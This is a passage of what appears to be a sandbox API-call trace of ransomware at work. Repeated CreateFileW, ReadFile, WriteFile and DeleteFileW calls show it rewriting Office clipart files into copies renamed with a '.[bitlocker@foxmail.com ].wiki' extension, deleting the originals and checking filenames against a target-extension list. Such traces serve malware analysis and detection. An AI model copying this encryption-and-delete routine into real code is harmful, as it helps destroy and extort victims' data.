dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.500] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3020) returned 1 [0194.500] CloseHandle (hObject=0x200) returned 1 [0194.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0194.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.500] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.500] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.501] GetLastError () returned 0x0 [0194.501] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xbcc, lpOverlapped=0x0) returned 1 [0194.502] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0194.503] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.503] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.503] SetEndOfFile (hFile=0x1cc) returned 1 [0194.507] CloseHandle (hObject=0x1cc) returned 1 [0194.507] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.507] SetEndOfFile (hFile=0x200) returned 1 [0194.508] CloseHandle (hObject=0x200) returned 1 [0194.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0194.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.508] lstrlenW (lpString=".doc") returned 4 [0194.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.508] lstrlenW (lpString=".docx") returned 5 [0194.508] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.508] lstrlenW (lpString=".pdf") returned 4 [0194.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString=".xls") returned 4 [0194.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.509] lstrlenW (lpString=".xlsx") returned 5 [0194.509] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.509] lstrlenW (lpString=".ppt") returned 4 [0194.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString=".zip") returned 4 [0194.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.509] lstrlenW (lpString=".rar") returned 4 [0194.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString=".bz2") returned 4 [0194.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString=".7z") returned 3 [0194.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString=".dbf") returned 4 [0194.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString=".1cd") returned 4 [0194.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString=".jpg") returned 4 [0194.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.509] lstrlenW (lpString=".doc") returned 4 [0194.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.509] lstrlenW (lpString=".docx") returned 5 [0194.510] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.510] lstrlenW (lpString=".pdf") returned 4 [0194.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString=".xls") returned 4 [0194.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.510] lstrlenW (lpString=".xlsx") returned 5 [0194.510] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.510] lstrlenW (lpString=".ppt") returned 4 [0194.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.510] lstrlenW (lpString=".zip") returned 4 [0194.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.510] lstrlenW (lpString=".rar") returned 4 [0194.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString=".bz2") returned 4 [0194.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString=".7z") returned 3 [0194.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.510] lstrlenW (lpString=".dbf") returned 4 [0194.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.510] lstrlenW (lpString=".1cd") returned 4 [0194.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0194.510] lstrlenW (lpString=".jpg") returned 4 [0194.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.511] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.511] lstrlenW (lpString="J0107026.WMF") returned 12 [0194.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.511] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7632) returned 1 [0194.511] CloseHandle (hObject=0x200) returned 1 [0194.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0194.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.511] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.511] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.512] GetLastError () returned 0x0 [0194.512] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0194.514] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1de0, lpOverlapped=0x0) returned 1 [0194.515] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.515] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.515] SetEndOfFile (hFile=0x1cc) returned 1 [0194.515] CloseHandle (hObject=0x1cc) returned 1 [0194.515] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.515] SetEndOfFile (hFile=0x200) returned 1 [0194.516] CloseHandle (hObject=0x200) returned 1 [0194.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.516] lstrlenW (lpString=".doc") returned 4 [0194.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.516] lstrlenW (lpString=".docx") returned 5 [0194.516] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.516] lstrlenW (lpString=".pdf") returned 4 [0194.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.516] lstrlenW (lpString=".xls") returned 4 [0194.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.516] lstrlenW (lpString=".xlsx") returned 5 [0194.516] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.517] lstrlenW (lpString=".ppt") returned 4 [0194.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString=".zip") returned 4 [0194.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.517] lstrlenW (lpString=".rar") returned 4 [0194.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString=".bz2") returned 4 [0194.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString=".7z") returned 3 [0194.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString=".dbf") returned 4 [0194.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString=".1cd") returned 4 [0194.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString=".jpg") returned 4 [0194.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.517] lstrlenW (lpString=".doc") returned 4 [0194.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.517] lstrlenW (lpString=".docx") returned 5 [0194.517] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.518] lstrlenW (lpString=".pdf") returned 4 [0194.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString=".xls") returned 4 [0194.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.518] lstrlenW (lpString=".xlsx") returned 5 [0194.518] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.518] lstrlenW (lpString=".ppt") returned 4 [0194.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.518] lstrlenW (lpString=".zip") returned 4 [0194.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.518] lstrlenW (lpString=".rar") returned 4 [0194.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString=".bz2") returned 4 [0194.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString=".7z") returned 3 [0194.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.518] lstrlenW (lpString=".dbf") returned 4 [0194.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.518] lstrlenW (lpString=".1cd") returned 4 [0194.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0194.518] lstrlenW (lpString=".jpg") returned 4 [0194.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.518] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.519] lstrlenW (lpString="J0107042.WMF") returned 12 [0194.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.519] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9048) returned 1 [0194.519] CloseHandle (hObject=0x200) returned 1 [0194.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0194.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.519] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.519] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0194.520] GetLastError () returned 0x0 [0194.520] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2358, lpOverlapped=0x0) returned 1 [0194.522] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2360, lpOverlapped=0x0) returned 1 [0194.523] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.523] WriteFile (in: hFile=0x1cc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.523] SetEndOfFile (hFile=0x1cc) returned 1 [0194.523] CloseHandle (hObject=0x1cc) returned 1 [0194.523] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.523] SetEndOfFile (hFile=0x200) returned 1 [0194.815] CloseHandle (hObject=0x200) returned 1 [0194.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.815] lstrlenW (lpString=".doc") returned 4 [0194.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".docx") returned 5 [0194.815] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.815] lstrlenW (lpString=".pdf") returned 4 [0194.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".xls") returned 4 [0194.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.815] lstrlenW (lpString=".xlsx") returned 5 [0194.816] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.816] lstrlenW (lpString=".ppt") returned 4 [0194.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString=".zip") returned 4 [0194.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.816] lstrlenW (lpString=".rar") returned 4 [0194.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".bz2") returned 4 [0194.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".7z") returned 3 [0194.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString=".dbf") returned 4 [0194.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString=".1cd") returned 4 [0194.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString=".jpg") returned 4 [0194.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.816] lstrlenW (lpString=".doc") returned 4 [0194.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".docx") returned 5 [0194.816] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.816] lstrlenW (lpString=".pdf") returned 4 [0194.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".xls") returned 4 [0194.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.817] lstrlenW (lpString=".xlsx") returned 5 [0194.817] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.817] lstrlenW (lpString=".ppt") returned 4 [0194.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.817] lstrlenW (lpString=".zip") returned 4 [0194.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.817] lstrlenW (lpString=".rar") returned 4 [0194.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.817] lstrlenW (lpString=".bz2") returned 4 [0194.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.817] lstrlenW (lpString=".7z") returned 3 [0194.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.817] lstrlenW (lpString=".dbf") returned 4 [0194.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.817] lstrlenW (lpString=".1cd") returned 4 [0194.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0194.817] lstrlenW (lpString=".jpg") returned 4 [0194.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.817] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.817] lstrlenW (lpString="J0107192.WMF") returned 12 [0194.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.818] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9968) returned 1 [0194.818] CloseHandle (hObject=0x200) returned 1 [0194.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0194.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 